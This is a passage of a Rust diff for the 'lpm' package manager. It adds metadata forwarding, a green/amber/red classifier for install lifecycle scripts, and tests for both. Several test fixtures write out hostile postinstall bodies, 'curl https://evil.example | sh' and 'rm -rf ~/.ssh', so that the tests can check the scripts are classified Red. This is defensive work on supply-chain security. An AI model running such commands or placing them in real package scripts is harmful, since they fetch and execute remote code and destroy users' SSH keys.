[`BlockedPackage::behavioral_tags`] so P7's version-diff UI can + /// render the *delta* between the prior-approved binding and the + /// candidate version without a registry re-fetch (which would break + /// offline updates and add latency). `None` whenever + /// `behavioral_tags_hash` is `None`. + pub behavioral_tags: Option>, + /// **Phase 46 P4 Chunk 3.** Provenance snapshot captured at + /// install time from the registry's `dist.attestations` pointer + /// (via `crate::provenance_fetch::fetch_provenance_snapshot`). + /// Forwarded into [`BlockedPackage::provenance_at_capture`] by + /// [`compute_blocked_packages_with_metadata`] so + /// `lpm approve-builds` can propagate it to the binding's + /// `provenance_at_approval` on approval — closing the P4 + /// write-path loop. + /// + /// `None` for: + /// - Offline installs (fetcher degraded to `Ok(None)`). + /// - Packages whose registry omits `dist.attestations` AND the + /// install pipeline skipped the per-package fetch (e.g., no + /// prior approval reference for this name — no point checking + /// drift). The fetcher itself returns + /// `Some(ProvenanceSnapshot { present: false, .. })` when the + /// registry explicitly has no attestation; that's distinct + /// from the install pipeline choosing to skip the fetch + /// entirely. + pub provenance_at_capture: Option, +} + +impl BlockedSetMetadata { + /// Lookup for `(name, version)`. Returns a reference to the entry + /// or `None` if the caller didn't provide metadata for this + /// package (graceful degradation — the captured fields just stay + /// `None`). + pub fn get(&self, name: &str, version: &str) -> Option<&BlockedSetMetadataEntry> { + self.by_pkg.get(&(name.to_string(), version.to_string())) + } + + /// Insert / overwrite metadata for `(name, version)`. + pub fn insert(&mut self, name: String, version: String, entry: BlockedSetMetadataEntry) { + self.by_pkg.insert((name, version), entry); + } +} + /// Compute the install-time blocked set for a project. /// /// Walks `installed`, looks at each package's lifecycle scripts via the @@ -217,10 +378,33 @@ pub fn compute_blocked_set_fingerprint(packages: &[BlockedPackage]) -> String { /// /// Returns the list sorted by `(name, version)` so the caller can pass /// it directly to [`compute_blocked_set_fingerprint`]. +/// +/// This wrapper calls [`compute_blocked_packages_with_metadata`] with +/// an empty metadata map; the Phase-46 `published_at` and +/// `behavioral_tags_hash` fields on emitted `BlockedPackage` entries +/// stay `None`. The production install path calls +/// `compute_blocked_packages_with_metadata` directly with a populated +/// map; tests keep using this signature. pub fn compute_blocked_packages( store: &PackageStore, installed: &[(String, String, Option)], policy: &SecurityPolicy, +) -> Vec { + compute_blocked_packages_with_metadata(store, installed, policy, &BlockedSetMetadata::default()) +} + +/// Phase 46 P1 metadata-aware variant of [`compute_blocked_packages`]. +/// +/// Same logic but forwards per-package `published_at` and +/// `behavioral_tags_hash` from `metadata` into each emitted +/// [`BlockedPackage`]. The fingerprint is unaffected (intentionally — +/// it's a stability metric over *blockable* packages, not over their +/// metadata). +pub fn compute_blocked_packages_with_metadata( + store: &PackageStore, + installed: &[(String, String, Option)], + policy: &SecurityPolicy, + metadata: &BlockedSetMetadata, ) -> Vec { let mut blocked: Vec = Vec::new(); @@ -234,14 +418,28 @@ pub fn compute_blocked_packages( None => continue, }; - // What phases are present (for human display in approve-builds)? - let phases_present = read_present_install_phases(&pkg_dir); - if phases_present.is_empty() { + // What phases are present (for human display in + // approve-builds) AND their bodies (for the Phase 46 P2 + // static-gate classifier below)? One read/parse of + // package.json feeds both. + let phase_bodies = read_install_phase_bodies(&pkg_dir); + if phase_bodies.is_empty() { // Defensive: compute_script_hash returned Some but we found no // phases. Shouldn't happen given F3, but skip rather than emit // a confusing entry. continue; } + let phases_present: Vec = + phase_bodies.iter().map(|(name, _)| name.clone()).collect(); + + // Phase 46 P2: classify each present phase and aggregate + // worst-wins. Populated unconditionally (not gated on + // `script-policy`) per plan §5.1 — the annotation is + // user-visible UX in all three modes. + let static_tier: Option = phase_bodies + .iter() + .map(|(_, body)| lpm_security::static_gate::classify(body)) + .reduce(lpm_security::triage::StaticTier::worse_of); // Strict gate query. Phase 4 binds approvals to // (name, version, integrity, script_hash). @@ -266,6 +464,11 @@ pub fn compute_blocked_packages( }; if is_blocked { + // Phase 46 P1 metadata forwarding. The caller (install.rs) + // populates `metadata` from the same registry responses + // the cooldown check already fetched, so this is a + // memory-only hash-map lookup per package. + let entry = metadata.get(name, version); blocked.push(BlockedPackage { name: name.clone(), version: version.clone(), @@ -273,6 +476,21 @@ pub fn compute_blocked_packages( script_hash: Some(script_hash), phases_present, binding_drift, + // Phase 46 P2 populates `static_tier` from the + // worst-wins reduction above. + static_tier, + // Phase 46 P4 Chunk 3: forwarded from the install + // pipeline's per-package provenance fetch. Populated + // for EVERY blocked package that went through the + // drift gate, not just those whose drift fired — + // fixes the reviewer-flagged "hardcoded None" + // underfill and closes the approve-builds + // write-path (binding.provenance_at_approval is + // written from this value on approval). + provenance_at_capture: entry.and_then(|e| e.provenance_at_capture.clone()), + published_at: entry.and_then(|e| e.published_at.clone()), + behavioral_tags_hash: entry.and_then(|e| e.behavioral_tags_hash.clone()), + behavioral_tags: entry.and_then(|e| e.behavioral_tags.clone()), }); } } @@ -284,13 +502,36 @@ pub fn compute_blocked_packages( /// The end-to-end install hook: compute → compare to previous → write → /// return whether to emit a banner. +/// +/// Thin wrapper over [`capture_blocked_set_after_install_with_metadata`] +/// that supplies an empty metadata map. Production callers use the +/// with-metadata variant; test callers use this signature. pub fn capture_blocked_set_after_install( project_dir: &Path, store: &PackageStore, installed: &[(String, String, Option)], policy: &SecurityPolicy, ) -> Result { - let blocked = compute_blocked_packages(store, installed, policy); + capture_blocked_set_after_install_with_metadata( + project_dir, + store, + installed, + policy, + &BlockedSetMetadata::default(), + ) +} + +/// Phase 46 P1 metadata-aware variant of +/// [`capture_blocked_set_after_install`]. Used by the install pipeline +/// where per-package metadata is available; see [`BlockedSetMetadata`]. +pub fn capture_blocked_set_after_install_with_metadata( + project_dir: &Path, + store: &PackageStore, + installed: &[(String, String, Option)], + policy: &SecurityPolicy, + metadata: &BlockedSetMetadata, +) -> Result { + let blocked = compute_blocked_packages_with_metadata(store, installed, policy, metadata); let fingerprint = compute_blocked_set_fingerprint(&blocked); let previous = read_build_state(project_dir); @@ -347,10 +588,36 @@ pub fn build_state_path(project_dir: &Path) -> PathBuf { project_dir.join(".lpm").join(BUILD_STATE_FILENAME) } -/// Read the package.json from `/@/` and return -/// the names of [`lpm_security::EXECUTED_INSTALL_PHASES`] entries that -/// are present and non-empty. -fn read_present_install_phases(pkg_dir: &Path) -> Vec { +/// Read the package.json from `/@/` and +/// return the `(phase_name, body)` pairs for each entry in +/// [`lpm_security::EXECUTED_INSTALL_PHASES`] that is present and has +/// a non-empty body. +/// +/// Replaces the earlier `read_present_install_phases` (names-only) +/// variant. The one caller — [`compute_blocked_packages_with_metadata`] +/// — needs the bodies in P2 to run the Phase 46 static-gate classifier +/// alongside the existing `phases_present` derivation, and folding the +/// two into one pass over the JSON avoids reading / re-parsing +/// `package.json` twice per blocked candidate. +/// +/// Returns an empty vec on any of: +/// - missing `package.json` (store miss — the gate already fails +/// closed elsewhere), +/// - malformed JSON, +/// - missing or non-object `scripts` field, +/// - no present install phases with non-empty bodies. +/// +/// Output order matches [`lpm_security::EXECUTED_INSTALL_PHASES`] +/// (`preinstall`, `install`, `postinstall`), NOT the order of keys in +/// the source JSON — matching the script-hash invariant so downstream +/// aggregation is stable across re-serializations of `package.json`. +/// +/// **Phase 46 P7:** exposed as `pub` so the version-diff renderer can +/// read both the prior and candidate phase bodies out of the store +/// for unified-diff rendering. Callers outside this module must not +/// assume a body is present in the store — the prior version may +/// have been evicted by `lpm cache clean` or a fresh clone. +pub fn read_install_phase_bodies(pkg_dir: &Path) -> Vec<(String, String)> { let pkg_json_path = pkg_dir.join("package.json"); let Ok(content) = std::fs::read_to_string(&pkg_json_path) else { return vec![]; @@ -364,16 +631,69 @@ fn read_present_install_phases(pkg_dir: &Path) -> Vec { lpm_security::EXECUTED_INSTALL_PHASES .iter() - .filter(|phase| { + .filter_map(|phase| { scripts - .get(**phase) + .get(*phase) .and_then(|v| v.as_str()) - .is_some_and(|s| !s.is_empty()) + .filter(|s| !s.is_empty()) + .map(|s| ((*phase).to_string(), s.to_string())) }) - .map(|s| s.to_string()) .collect() } +/// Phase 46 P2 Chunk 5 — per-tier counts for a blocked set. +/// +/// Returns `(green, amber, red)` with these accounting rules: +/// - `Some(Green)` → green. +/// - `Some(Red)` → red. +/// - `Some(Amber)` / `Some(AmberLlm)` / `None` → amber. The two +/// amber variants collapse because they're indistinguishable to +/// the user's "needs review" mental model — `AmberLlm` just means +/// an LLM weighed in (P8). `None` means persisted state predates +/// P2; conservative: count unknowns as amber so the user's eye is +/// drawn to them. +/// +/// Exposed so a future `--json` install shape and the human +/// summary line share one counting function. +pub fn count_blocked_by_tier(blocked: &[BlockedPackage]) -> (usize, usize, usize) { + use lpm_security::triage::StaticTier; + let mut green = 0usize; + let mut amber = 0usize; + let mut red = 0usize; + for bp in blocked { + match bp.static_tier { + Some(StaticTier::Green) => green += 1, + Some(StaticTier::Red) => red += 1, + Some(StaticTier::Amber | StaticTier::AmberLlm) | None => amber += 1, + } + } + (green, amber, red) +} + +/// Phase 46 P2 Chunk 5 — triage-mode install summary line. +/// +/// Rendered ONLY when `script-policy = "triage"` is the effective +/// policy. Replaces the multi-line +/// [`crate::commands::build::show_install_build_hint`] output under +/// triage; `deny` / `allow` keep the existing hint untouched. +/// +/// **Format (stable P2-onward; snapshot-tested):** +/// ```text +/// script-policy: triage (N green / M amber / K red → lpm approve-builds) +/// ``` +/// +/// Agents parsing the line can substring-match the stable anchor +/// `"script-policy: triage ("` and the suffix +/// `" → lpm approve-builds)"`. Counts are derived from +/// [`count_blocked_by_tier`] so any future JSON / machine-readable +/// output shares the same arithmetic. +pub fn format_triage_summary_line(blocked: &[BlockedPackage]) -> String { + let (green, amber, red) = count_blocked_by_tier(blocked); + format!( + "script-policy: triage ({green} green / {amber} amber / {red} red → lpm approve-builds)" + ) +} + fn current_rfc3339() -> String { // Use `chrono` for the timestamp (already a workspace dep in lpm-cli; // lpm-security uses `time` but that's not depended on here). @@ -412,6 +732,14 @@ mod tests { script_hash: script_hash.map(String::from), phases_present: vec!["postinstall".to_string()], binding_drift: false, + // Phase 46 fields — `None` by default in this helper so + // pre-Phase-46 tests behave unchanged. Dedicated tests + // below exercise the populated path. + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, + behavioral_tags: None, } } @@ -540,6 +868,14 @@ mod tests { script_hash: Some("sha256-bar".into()), phases_present: vec!["preinstall".into(), "postinstall".into()], binding_drift: true, + // Phase 46 fields: left None in this pre-Phase-46 roundtrip + // test so the assertion stays byte-identical to Phase 4's + // original shape. + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, + behavioral_tags: None, }]); write_build_state(dir.path(), &original).unwrap(); let recovered = read_build_state(dir.path()).unwrap(); @@ -694,6 +1030,7 @@ mod tests { TrustedDependencyBinding { integrity: integrity.map(String::from), script_hash: script_hash.map(String::from), + ..Default::default() }, ); SecurityPolicy { @@ -1031,4 +1368,731 @@ mod tests { "captured_at must refresh on every install" ); } + + // ─── Phase 46 schema compatibility ───────────────────────────── + // + // The no-version-bump strategy (see `BUILD_STATE_VERSION` doc) + // requires BOTH directions of compat to hold: + // + // 1. A Phase 46 reader on a v1-written file defaults the new + // fields to None via #[serde(default)] (backward compat). + // 2. A v1 reader on a Phase-46-written file silently drops the + // new fields because the struct lacks deny_unknown_fields + // (forward compat). + // + // Both are here so a regression in either direction fails CI. + + #[test] + fn phase46_reader_defaults_missing_fields_from_v1_json() { + // Hand-written JSON as a pre-Phase-46 writer would produce: + // only the v1 fields, no static_tier / provenance / etc. + let v1_json = r#"{ + "state_version": 1, + "blocked_set_fingerprint": "sha256-legacy", + "captured_at": "2026-03-01T00:00:00Z", + "blocked_packages": [ + { + "name": "esbuild", + "version": "0.25.1", + "integrity": "sha512-x", + "script_hash": "sha256-y", + "phases_present": ["postinstall"], + "binding_drift": false + } + ] + }"#; + + let state: BuildState = serde_json::from_str(v1_json).unwrap(); + assert_eq!(state.state_version, 1); + assert_eq!(state.blocked_packages.len(), 1); + + let pkg = &state.blocked_packages[0]; + // All Phase 46 additions must default to None without the + // JSON naming them explicitly. + assert_eq!(pkg.static_tier, None); + assert_eq!(pkg.provenance_at_capture, None); + assert_eq!(pkg.published_at, None); + assert_eq!(pkg.behavioral_tags_hash, None); + + // v1 semantics preserved end-to-end. + assert_eq!(pkg.name, "esbuild"); + assert!(!pkg.binding_drift); + } + + #[test] + fn v1_reader_silently_drops_phase46_fields_on_read() { + // Simulate a v1 reader by defining a struct that ONLY has the + // v1 fields. A Phase-46-written JSON must parse into it with + // all v1 fields intact; the unknown Phase 46 fields must be + // silently dropped because no `deny_unknown_fields` is in + // effect. + #[derive(Debug, Deserialize, PartialEq, Eq)] + struct V1BlockedPackage { + name: String, + version: String, + integrity: Option, + script_hash: Option, + phases_present: Vec, + binding_drift: bool, + } + + let p46 = BlockedPackage { + name: "sharp".into(), + version: "0.33.0".into(), + integrity: Some("sha512-aaa".into()), + script_hash: Some("sha256-bbb".into()), + phases_present: vec!["postinstall".into()], + binding_drift: false, + static_tier: Some(StaticTier::Amber), + provenance_at_capture: Some(ProvenanceSnapshot { + present: true, + publisher: Some("github:lovell/sharp".into()), + ..Default::default() + }), + published_at: Some("2026-04-20T00:00:00Z".into()), + behavioral_tags_hash: Some("sha256-ccc".into()), + behavioral_tags: Some(vec!["network".into(), "shell".into()]), + }; + let json = serde_json::to_string(&p46).unwrap(); + + let v1: V1BlockedPackage = serde_json::from_str(&json).unwrap(); + assert_eq!(v1.name, "sharp"); + assert_eq!(v1.version, "0.33.0"); + assert_eq!(v1.integrity.as_deref(), Some("sha512-aaa")); + assert_eq!(v1.script_hash.as_deref(), Some("sha256-bbb")); + assert_eq!(v1.phases_present, vec!["postinstall".to_string()]); + assert!(!v1.binding_drift); + } + + #[test] + fn phase46_populated_fields_roundtrip() { + let original = BlockedPackage { + name: "puppeteer".into(), + version: "22.0.0".into(), + integrity: Some("sha512-pp".into()), + script_hash: Some("sha256-pp".into()), + phases_present: vec!["postinstall".into()], + binding_drift: false, + static_tier: Some(StaticTier::Amber), + provenance_at_capture: Some(ProvenanceSnapshot { + present: true, + publisher: Some("github:puppeteer/puppeteer".into()), + workflow_path: Some(".github/workflows/publish.yml".into()), + workflow_ref: Some("refs/tags/v22.0.0".into()), + attestation_cert_sha256: Some("sha256-cert".into()), + }), + published_at: Some("2026-04-18T12:34:56Z".into()), + behavioral_tags_hash: Some("sha256-tags".into()), + behavioral_tags: Some(vec!["childProcess".into(), "network".into()]), + }; + let json = serde_json::to_string(&original).unwrap(); + let back: BlockedPackage = serde_json::from_str(&json).unwrap(); + assert_eq!(original, back); + } + + #[test] + fn read_build_state_rejects_newer_version() { + // Simulate a future LPM binary writing state_version = 2. + // This binary's reader must refuse and return None (the + // caller will write a fresh v1 state, not mis-interpret v2 + // semantics with v1 types). + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let future_json = format!( + r#"{{ + "state_version": {next_version}, + "blocked_set_fingerprint": "sha256-future", + "captured_at": "2027-01-01T00:00:00Z", + "blocked_packages": [] + }}"#, + next_version = BUILD_STATE_VERSION + 1, + ); + std::fs::write(build_state_path(project.path()), future_json).unwrap(); + + assert!( + read_build_state(project.path()).is_none(), + "reader must refuse files newer than BUILD_STATE_VERSION" + ); + } + + #[test] + fn read_build_state_accepts_equal_version() { + // Sanity check for the `>` comparison: equal version parses. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let state = make_state(vec![make_blocked( + "esbuild", + "0.25.1", + Some("sha512-x"), + Some("sha256-y"), + )]); + let json = serde_json::to_string(&state).unwrap(); + std::fs::write(build_state_path(project.path()), json).unwrap(); + + let read = read_build_state(project.path()); + assert!( + read.is_some(), + "reader must accept files at the current BUILD_STATE_VERSION" + ); + assert_eq!(read.unwrap().blocked_packages.len(), 1); + } + + // ─── Phase 46 P1: metadata plumbing ─────────────────────────── + // + // The `_with_metadata` variants forward `published_at` and + // `behavioral_tags_hash` onto captured `BlockedPackage` entries. + // The caller (install.rs) populates the map from the registry + // metadata the cooldown check already fetched. + + fn make_metadata( + published_at: Option<&str>, + behavioral_tags_hash: Option<&str>, + ) -> BlockedSetMetadataEntry { + BlockedSetMetadataEntry { + published_at: published_at.map(String::from), + behavioral_tags_hash: behavioral_tags_hash.map(String::from), + // P4 Chunk 3: the Phase-46-P1 tests don't stress + // provenance_at_capture; use `Default` so future fields + // don't force every test-helper re-edit. Dedicated + // provenance capture tests live in lpm-security and in + // the Chunk 5 E2E harness. + ..Default::default() + } + } + + fn store_pkg_with_postinstall(store: &lpm_store::PackageStore, name: &str, version: &str) { + let pkg_dir = store.package_dir(name, version); + std::fs::create_dir_all(&pkg_dir).unwrap(); + std::fs::write( + pkg_dir.join("package.json"), + format!( + r#"{{"name":"{name}","version":"{version}","scripts":{{"postinstall":"node install.js"}}}}"# + ), + ) + .unwrap(); + } + + #[test] + fn compute_with_metadata_forwards_published_at_and_behavioral_tags_hash() { + // Core P1 contract: when the caller supplies metadata for a + // blockable package, both optional fields on the emitted + // BlockedPackage are populated verbatim. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_postinstall(&store, "sharp", "0.33.0"); + + let installed = vec![("sharp".to_string(), "0.33.0".to_string(), None)]; + let mut metadata = BlockedSetMetadata::default(); + metadata.insert( + "sharp".to_string(), + "0.33.0".to_string(), + make_metadata(Some("2026-04-18T12:34:56Z"), Some("sha256-tag-hash-abc")), + ); + + let blocked = + compute_blocked_packages_with_metadata(&store, &installed, &empty_policy(), &metadata); + + assert_eq!(blocked.len(), 1); + assert_eq!(blocked[0].name, "sharp"); + assert_eq!( + blocked[0].published_at.as_deref(), + Some("2026-04-18T12:34:56Z"), + "published_at MUST be forwarded from metadata map to BlockedPackage" + ); + assert_eq!( + blocked[0].behavioral_tags_hash.as_deref(), + Some("sha256-tag-hash-abc"), + "behavioral_tags_hash MUST be forwarded from metadata map to BlockedPackage" + ); + } + + #[test] + fn compute_with_metadata_missing_entry_leaves_fields_none() { + // Graceful degradation: when the caller has NO metadata for a + // package (offline, fast-path, registry error), both Phase 46 + // fields stay None on the emitted BlockedPackage. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_postinstall(&store, "sharp", "0.33.0"); + + let installed = vec![("sharp".to_string(), "0.33.0".to_string(), None)]; + // Empty metadata map — caller didn't fetch / couldn't fetch. + let metadata = BlockedSetMetadata::default(); + + let blocked = + compute_blocked_packages_with_metadata(&store, &installed, &empty_policy(), &metadata); + + assert_eq!(blocked.len(), 1); + assert!( + blocked[0].published_at.is_none(), + "missing metadata entry → published_at stays None (graceful)" + ); + assert!( + blocked[0].behavioral_tags_hash.is_none(), + "missing metadata entry → behavioral_tags_hash stays None (graceful)" + ); + } + + #[test] + fn compute_with_metadata_partial_entry_forwards_only_populated_half() { + // One field present, one absent: forward what we have, leave + // the other None. Common real-world case: npm packages often + // have a `time` entry but no server-side behavioral analysis. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_postinstall(&store, "some-npm-pkg", "1.0.0"); + + let installed = vec![("some-npm-pkg".to_string(), "1.0.0".to_string(), None)]; + let mut metadata = BlockedSetMetadata::default(); + metadata.insert( + "some-npm-pkg".to_string(), + "1.0.0".to_string(), + make_metadata(Some("2026-04-20T00:00:00Z"), None), + ); + + let blocked = + compute_blocked_packages_with_metadata(&store, &installed, &empty_policy(), &metadata); + + assert_eq!(blocked.len(), 1); + assert_eq!( + blocked[0].published_at.as_deref(), + Some("2026-04-20T00:00:00Z"), + "populated half forwards" + ); + assert!( + blocked[0].behavioral_tags_hash.is_none(), + "unpopulated half stays None (no server analysis)" + ); + } + + #[test] + fn backward_compat_wrapper_captures_with_empty_metadata() { + // `capture_blocked_set_after_install` (no-metadata variant) + // remains a valid entry point; it just produces BlockedPackage + // entries with both P1 fields as None. Pins the wrapper + // contract for the ~30 test callers that use it. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_postinstall(&store, "sharp", "0.33.0"); + + let installed = vec![("sharp".to_string(), "0.33.0".to_string(), None)]; + let capture = + capture_blocked_set_after_install(project.path(), &store, &installed, &empty_policy()) + .unwrap(); + + assert_eq!(capture.state.blocked_packages.len(), 1); + let pkg = &capture.state.blocked_packages[0]; + assert!( + pkg.published_at.is_none() && pkg.behavioral_tags_hash.is_none(), + "no-metadata wrapper must leave both P1 fields None" + ); + } + + #[test] + fn metadata_fingerprint_is_independent_of_metadata() { + // Design invariant: the blocked-set fingerprint is a stability + // metric over *blockable* packages and their strict binding + // tuple, NOT over their metadata. Installs with differing + // published_at / behavioral_tags_hash but same blocked set + // MUST produce identical fingerprints. Otherwise the post- + // install "blocked set unchanged" suppression would spuriously + // re-fire on registry metadata churn. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_postinstall(&store, "sharp", "0.33.0"); + + let installed = vec![("sharp".to_string(), "0.33.0".to_string(), None)]; + let meta_a = { + let mut m = BlockedSetMetadata::default(); + m.insert( + "sharp".to_string(), + "0.33.0".to_string(), + make_metadata(Some("2026-04-01T00:00:00Z"), Some("sha256-aaa")), + ); + m + }; + let meta_b = { + let mut m = BlockedSetMetadata::default(); + m.insert( + "sharp".to_string(), + "0.33.0".to_string(), + make_metadata(Some("2026-04-20T00:00:00Z"), Some("sha256-bbb")), + ); + m + }; + + let bp_a = + compute_blocked_packages_with_metadata(&store, &installed, &empty_policy(), &meta_a); + let bp_b = + compute_blocked_packages_with_metadata(&store, &installed, &empty_policy(), &meta_b); + let fp_a = compute_blocked_set_fingerprint(&bp_a); + let fp_b = compute_blocked_set_fingerprint(&bp_b); + assert_eq!( + fp_a, fp_b, + "fingerprint must be independent of metadata-only fields — \ + otherwise registry churn would spuriously re-fire the \ + post-install blocked-set warning" + ); + } + + // ── Phase 46 P2 Chunk 3 — read_install_phase_bodies + static_tier ─ + + fn store_pkg_with_scripts( + store: &lpm_store::PackageStore, + name: &str, + version: &str, + scripts: &serde_json::Value, + ) { + let pkg_dir = store.package_dir(name, version); + std::fs::create_dir_all(&pkg_dir).unwrap(); + let pkg = serde_json::json!({ + "name": name, + "version": version, + "scripts": scripts, + }); + std::fs::write( + pkg_dir.join("package.json"), + serde_json::to_string_pretty(&pkg).unwrap(), + ) + .unwrap(); + } + + #[test] + fn read_install_phase_bodies_returns_pairs_in_canonical_order() { + // Even if `scripts` is authored with postinstall before + // preinstall, the output order must match + // EXECUTED_INSTALL_PHASES (preinstall, install, postinstall) + // so worst-wins aggregation is stable across JSON + // re-serialization. + let project = tempdir().unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_scripts( + &store, + "x", + "1.0.0", + &serde_json::json!({ + "postinstall": "tsc", + "preinstall": "husky install", + "other": "irrelevant" + }), + ); + + let pkg_dir = store.package_dir("x", "1.0.0"); + let pairs = read_install_phase_bodies(&pkg_dir); + assert_eq!( + pairs, + vec![ + ("preinstall".to_string(), "husky install".to_string()), + ("postinstall".to_string(), "tsc".to_string()), + ], + "phases must emit in EXECUTED_INSTALL_PHASES order", + ); + } + + #[test] + fn read_install_phase_bodies_skips_empty_body_phases() { + let project = tempdir().unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_scripts( + &store, + "x", + "1.0.0", + &serde_json::json!({ "preinstall": "", "postinstall": "tsc" }), + ); + + let pkg_dir = store.package_dir("x", "1.0.0"); + let pairs = read_install_phase_bodies(&pkg_dir); + assert_eq!(pairs, vec![("postinstall".to_string(), "tsc".to_string())]); + } + + #[test] + fn read_install_phase_bodies_returns_empty_on_missing_file_or_malformed_json() { + let project = tempdir().unwrap(); + let missing = project.path().join("nonexistent"); + assert!(read_install_phase_bodies(&missing).is_empty()); + + let malformed = project.path().join("malformed"); + std::fs::create_dir_all(&malformed).unwrap(); + std::fs::write(malformed.join("package.json"), "{not json").unwrap(); + assert!(read_install_phase_bodies(&malformed).is_empty()); + + let no_scripts = project.path().join("no-scripts"); + std::fs::create_dir_all(&no_scripts).unwrap(); + std::fs::write(no_scripts.join("package.json"), r#"{"name":"x"}"#).unwrap(); + assert!(read_install_phase_bodies(&no_scripts).is_empty()); + } + + #[test] + fn compute_with_metadata_populates_green_static_tier_for_green_script() { + // A single green-allowlisted script body → the emitted + // BlockedPackage carries `static_tier = Some(Green)`. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_scripts( + &store, + "typescript", + "5.0.0", + &serde_json::json!({ "postinstall": "tsc" }), + ); + + let installed = vec![("typescript".to_string(), "5.0.0".to_string(), None)]; + let blocked = compute_blocked_packages_with_metadata( + &store, + &installed, + &empty_policy(), + &BlockedSetMetadata::default(), + ); + + assert_eq!(blocked.len(), 1); + assert_eq!( + blocked[0].static_tier, + Some(lpm_security::triage::StaticTier::Green), + "green-allowlisted script body MUST populate Green tier", + ); + } + + #[test] + fn compute_with_metadata_populates_red_static_tier_for_pipe_to_shell() { + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_scripts( + &store, + "evil-pkg", + "0.0.1", + &serde_json::json!({ "postinstall": "curl https://evil.example | sh" }), + ); + + let installed = vec![("evil-pkg".to_string(), "0.0.1".to_string(), None)]; + let blocked = compute_blocked_packages_with_metadata( + &store, + &installed, + &empty_policy(), + &BlockedSetMetadata::default(), + ); + + assert_eq!(blocked.len(), 1); + assert_eq!( + blocked[0].static_tier, + Some(lpm_security::triage::StaticTier::Red), + "pipe-to-shell body MUST populate Red tier", + ); + } + + #[test] + fn compute_with_metadata_worst_wins_red_dominates_green_across_phases() { + // A package with one green phase AND one red phase must + // aggregate to Red (worst-wins). This is the core + // cross-phase aggregation invariant. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_scripts( + &store, + "mixed-pkg", + "1.0.0", + &serde_json::json!({ + "preinstall": "tsc", + "postinstall": "rm -rf ~/.ssh", + }), + ); + + let installed = vec![("mixed-pkg".to_string(), "1.0.0".to_string(), None)]; + let blocked = compute_blocked_packages_with_metadata( + &store, + &installed, + &empty_policy(), + &BlockedSetMetadata::default(), + ); + + assert_eq!(blocked.len(), 1); + assert_eq!( + blocked[0].static_tier, + Some(lpm_security::triage::StaticTier::Red), + "green + red across phases MUST aggregate to Red", + ); + assert_eq!( + blocked[0].phases_present, + vec!["preinstall".to_string(), "postinstall".to_string()], + "phases_present should list BOTH present phases", + ); + } + + #[test] + fn compute_with_metadata_worst_wins_amber_dominates_green_across_phases() { + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_scripts( + &store, + "native-pkg", + "1.0.0", + &serde_json::json!({ + "preinstall": "tsc", + "postinstall": "node install.js", + }), + ); + + let installed = vec![("native-pkg".to_string(), "1.0.0".to_string(), None)]; + let blocked = compute_blocked_packages_with_metadata( + &store, + &installed, + &empty_policy(), + &BlockedSetMetadata::default(), + ); + + assert_eq!(blocked.len(), 1); + assert_eq!( + blocked[0].static_tier, + Some(lpm_security::triage::StaticTier::Amber), + "green + amber across phases MUST aggregate to Amber", + ); + } + + #[test] + fn compute_with_metadata_static_tier_is_always_some_for_blocked_entries() { + // Because compute_blocked_packages_with_metadata skips any + // package without at least one present phase body, every + // emitted BlockedPackage must have Some(_) for static_tier. + // This locks in the "None means pre-P2 state, never fresh + // state" contract that `blocked_to_json` and approve-builds + // UI rely on. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + for (name, script) in [ + ("green-pkg", "tsc"), + ("amber-pkg", "playwright install"), + ("red-pkg", "curl https://x | sh"), + ] { + store_pkg_with_scripts( + &store, + name, + "1.0.0", + &serde_json::json!({ "postinstall": script }), + ); + } + + let installed = vec![ + ("green-pkg".to_string(), "1.0.0".to_string(), None), + ("amber-pkg".to_string(), "1.0.0".to_string(), None), + ("red-pkg".to_string(), "1.0.0".to_string(), None), + ]; + let blocked = compute_blocked_packages_with_metadata( + &store, + &installed, + &empty_policy(), + &BlockedSetMetadata::default(), + ); + + assert_eq!(blocked.len(), 3); + for bp in &blocked { + assert!( + bp.static_tier.is_some(), + "freshly computed BlockedPackage MUST have Some(tier), \ + got None for {}@{}", + bp.name, + bp.version, + ); + } + } + + // ── Phase 46 P2 Chunk 5 — count_blocked_by_tier + format_triage_summary_line ─ + + fn tiered(name: &str, tier: lpm_security::triage::StaticTier) -> BlockedPackage { + let mut b = make_blocked(name, "1.0.0", None, Some("sha256-x")); + b.static_tier = Some(tier); + b + } + + #[test] + fn count_blocked_by_tier_empty_returns_zeros() { + let blocked: Vec = Vec::new(); + assert_eq!(count_blocked_by_tier(&blocked), (0, 0, 0)); + } + + #[test] + fn count_blocked_by_tier_counts_green_amber_red_distinctly() { + use lpm_security::triage::StaticTier; + let blocked = vec![ + tiered("a", StaticTier::Green), + tiered("b", StaticTier::Green), + tiered("c", StaticTier::Amber), + tiered("d", StaticTier::Red), 